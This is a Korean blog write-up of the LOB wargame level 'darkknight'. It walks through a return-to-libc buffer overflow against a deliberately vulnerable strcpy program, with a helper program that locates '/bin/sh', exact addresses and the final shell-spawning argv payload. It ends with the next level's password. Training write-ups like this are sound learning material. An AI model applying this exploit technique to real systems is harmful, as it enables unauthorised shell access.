DongDD's IT

[LOB] Level13 darkknight 본문

Wargame/LOB

[LOB] Level13 darkknight

DongDD 2018. 1. 26. 16:57

[LOB] Level13 darkknight


Problem



이번 문제도 bugbear 실행 파일과 bugbear.c 소스 코드 파일이 있었다.

소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        if(argv[1][47== '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}
 
cs


이번 문제에서는 앞선 문제와 조금 다른 부분이 있었다.

먼저 buffer의 size는 40 bytes이고 argv[1]을 입력 받아야하는 것은 똑같았다.

이전 문제들에서는 argv[1]의 48번째 글자에 "\xbf"를 사용해 stack 영역의 변수를 사용했었는데 이번 문제에서는 "\xbf"로 시작하는 주소를 사용할 수 없게 했다.

그리고 마지막에 strcpy를 통해 argv[1]을 buffer에 넣어주는 것은 똑같았다.

소스 코드 윗부분에는 RTL이라는 힌트가 있었고 앞의 문제에서 RTL을 사용해 해결한 문제들도 있었는데 그 문제들과 똑같이 풀면 될 것 같았다.



Solution


1. Return to Library(RTL)



먼저 이 문제에서는 buffer가 40bytes이고 위의 그림처럼 메모리는 형성되어있다.

기본적인 bof는 return address까지만 사용하지만 함수를 사용해야하는 RTL기법에서는 인자를 넣어주어야한다.

return address 이후에 4 bytes의 dummy가 들어가고 이후에 argument를 넣어주어야한다.



먼저 bugbear파일을 ldd를 통해 확인해보았다. 라이브러리의 주소가 바뀌지 않고 고정되어 있는 것으로 ASLR이 걸려있지 않은 것을 알 수 있고 RTL을 사용할 수 있다는 것을 알 수 있다.


Ref) ASLR(Address Space Layout Randomization)

- 메모리 보호 기법 중 하나

- Stack, Heap, Library의 주소를 실행할 때마다 임의의 주소에 배치함으로써 공격을 어렵게 하기 위한 기법



먼저 shell을 얻기 위해 사용할 수 있는 함수는 system()함수이다. gdb를 통해 main에 break point를 설정하고 system()함수의 주소를 알 수 있다.


system() 함수의 주소 : 0x40058ae0



1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
        int sys = 0x40058ae0// system address
        while(memcmp((void *)sys, "/bin/sh"8)) {
                sys++;
        }
        printf("%p\n",sys);
}
 
cs


그리고 위와 같은 프로그램을 작성해 system()함수의 인자로 넣어줄 "/bin/sh"의 주소를 찾아준다.

"/bin/sh"를 그냥 넣어줄 경우 문자로 인식하기 때문에 Library내에서 system("/bin/sh")에 대한 처리 구문이 있을 것이기 때문에 "/bin/sh"의 주소를 찾아주면 된다.


"/bin/sh"의 주소 : 0x400fbff9


이제 system() 함수 주소와 "/bin/sh"의 주소를 알아냈기 때문에 이 두개를 가지고 Payload를 작성하면 된다.


Payload = dummy(44 bytes, buffer+sfp, "A"*44) + return address(4 bytes, system() 함수의 주소, 0x40058ae0) + dummy(4 bytes, "A"*4) + argument1("/bin/sh"의 주소, 0x400fbff9)


위 Payload로 프로그램을 실행해 system("/bin/sh")를 실행시켜 shell을 얻을 수 있었다.







**************     Answer & Flag     **************



1. Return to Library(RTL)


Payload = dummy(44 bytes, buffer+sfp, "A"*44) + return address(4 bytes, system() 함수의 주소, 0x40058ae0) + dummy(4 bytes, "A"*4) + argument1("/bin/sh"의 주소, 0x400fbff9)


argv[1] = "A"*44+ "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40"




Next ID : bugbear

Next PW : new divide

'Wargame > LOB' 카테고리의 다른 글

[LOB] Level15 giant  (0) 2018.01.30
[LOB] Level14 bugbear  (0) 2018.01.27
[LOB] level12 golem  (0) 2018.01.25
[LOB] Level11 skeleton  (0) 2018.01.24
[LOB] Level10 vampire  (0) 2018.01.21
Comments